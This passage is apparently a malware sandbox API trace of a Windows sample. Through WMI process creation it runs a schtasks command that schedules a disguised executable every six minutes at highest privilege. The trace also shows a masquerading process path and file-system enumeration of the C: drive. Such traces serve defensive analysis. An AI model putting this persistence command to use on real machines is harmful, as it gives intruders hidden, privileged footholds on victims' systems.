0x0 [0073.235] WbemDefPath:IWbemPath:GetText (in: This=0x1169e00, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0073.235] WbemDefPath:IWbemPath:GetText (in: This=0x1169e00, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0073.235] WbemDefPath:IWbemPath:GetText (in: This=0x1169e00, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0073.235] IWbemServices:GetObject (in: This=0x1130af0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x11ebb10, ppCallResult=0x0) returned 0x0 [0073.240] IWbemClassObject:GetMethod (in: This=0x11ebb10, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x11ebe80, ppOutSignature=0x1b2fd9e0*=0x11ec410) returned 0x0 [0073.240] IWbemClassObject:SpawnInstance (in: This=0x11ebe80, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf1c530) returned 0x0 [0073.241] IWbemClassObject:Get (in: This=0x1bf1c530, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c3b80*=0, plFlavor=0x29c3b84*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c3b80*=8, plFlavor=0x29c3b84*=32) returned 0x0 [0073.241] IWbemClassObject:Get (in: This=0x1bf1c530, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c3b80*=8, plFlavor=0x29c3b84*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c3b80*=8, plFlavor=0x29c3b84*=32) returned 0x0 [0073.241] IWbemClassObject:Put (This=0x1bf1c530, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"countryyouc\" /sc MINUTE /mo 6 /tr \"'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0073.241] IWbemClassObject:Get (in: This=0x1bf1c530, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c3c10*=0, plFlavor=0x29c3c14*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c3c10*=13, plFlavor=0x29c3c14*=32) returned 0x0 [0073.241] IWbemClassObject:Get (in: This=0x1bf1c530, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c3c10*=13, plFlavor=0x29c3c14*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c3c10*=13, plFlavor=0x29c3c14*=32) returned 0x0 [0073.241] IUnknown:QueryInterface (in: This=0x11eb430, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x11eb430) returned 0x0 [0073.241] IUnknown:QueryInterface (in: This=0x11eb430, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0073.241] IUnknown:QueryInterface (in: This=0x11eb430, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0073.242] IUnknown:AddRef (This=0x11eb430) returned 0x3 [0073.242] IUnknown:QueryInterface (in: This=0x11eb430, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0073.242] IUnknown:QueryInterface (in: This=0x11eb430, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0073.242] IUnknown:QueryInterface (in: This=0x11eb430, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x11eb438) returned 0x0 [0073.242] IMarshal:GetUnmarshalClass (in: This=0x11eb438, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0073.242] IUnknown:Release (This=0x11eb438) returned 0x3 [0073.242] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0073.242] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0073.242] IUnknown:QueryInterface (in: This=0x11eb430, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0073.242] IUnknown:Release (This=0x11eb430) returned 0x2 [0073.242] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0073.242] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0073.242] IUnknown:QueryInterface (in: This=0x11eb430, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0073.242] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0073.242] IUnknown:QueryInterface (in: This=0x11eb430, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0073.243] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0073.243] IUnknown:AddRef (This=0x11eb430) returned 0x3 [0073.243] IWbemClassObject:Put (This=0x1bf1c530, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11eb430, varVal2=0x0), Type=0) returned 0x0 [0073.243] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a1c0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0073.243] WbemDefPath:IWbemPath:GetText (in: This=0x116a1c0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0073.243] WbemDefPath:IWbemPath:GetText (in: This=0x116a1c0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0073.243] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a280, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0073.243] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0073.243] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0073.243] WbemDefPath:IWbemPath:GetText (in: This=0x116a1c0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0073.243] WbemDefPath:IWbemPath:GetText (in: This=0x116a1c0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0073.243] IWbemServices:ExecMethod (in: This=0x1130af0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf1c530, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf1c7e0, ppCallResult=0x0) returned 0x0 [0073.456] IWbemClassObject:Get (in: This=0x1bf1c7e0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c3f28*=0, plFlavor=0x29c3f2c*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x718, varVal2=0x0), pType=0x29c3f28*=19, plFlavor=0x29c3f2c*=0) returned 0x0 [0073.457] IWbemClassObject:Get (in: This=0x1bf1c7e0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c3f28*=19, plFlavor=0x29c3f2c*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x718, varVal2=0x0), pType=0x29c3f28*=19, plFlavor=0x29c3f2c*=0) returned 0x0 [0073.458] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0073.458] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x1b2fdb90, nSize=0x101, Arguments=0x0 | out: lpBuffer="Access is denied.\r\n") returned 0x13 [0073.465] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xb60) returned 0x364 [0073.465] GetExitCodeProcess (in: hProcess=0x364, lpExitCode=0x28ee384 | out: lpExitCode=0x28ee384*=0x103) returned 1 [0073.465] CoTaskMemAlloc (cb=0x404) returned 0x1beec7b0 [0073.465] QueryFullProcessImageNameA (in: hProcess=0x364, dwFlags=0x0, lpExeName=0x1beec7b0, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files (x86)\\Windows Photo Viewer\\webdrive.exe", lpdwSize=0x1b2fe138) returned 1 [0073.466] CoTaskMemFree (pv=0x1beec7b0) [0073.470] CoTaskMemAlloc (cb=0x20c) returned 0x1163970 [0073.470] GetSystemDirectoryW (in: lpBuffer=0x1163970, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0073.471] CoTaskMemFree (pv=0x1163970) [0073.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0073.471] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0073.471] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x11f6a30 [0073.471] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0073.472] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0073.472] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0073.472] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0073.472] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x183b87e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0073.472] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x418b3f80, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x523740e0, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x523740e0, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hyperWinhost", cAlternateFileName="HYPERW~1")) returned 1 [0073.472] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xf1e7bf70, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf1f144f0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf1f144f0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0073.472] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x18be7380, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0073.472] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0073.472] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdee64ba0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdee64ba0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0073.472] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0073.472] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x41b67910, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x41b67910, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0073.472] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0073.472] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4b53c6d0, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4b53c6d0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0073.473] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0073.473] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdef956a0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdef956a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0073.473] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0073.473] FindClose (in: hFindFile=0x11f6a30 | out: hFindFile=0x11f6a30) returned 1 [0073.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0073.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0073.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0073.473] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0073.474] FindFirstFileW (in: lpFileName="C:\\Boot\\*" (normalized: "c:\\boot\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11f6a30 [0073.474] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.474] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa0a7d640, ftLastAccessTime.dwHighDateTime=0x1d99d0a, ftLastWriteTime.dwLowDateTime=0xd85f4660, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0073.474] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xd85a83a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0073.474] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0073.474] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, 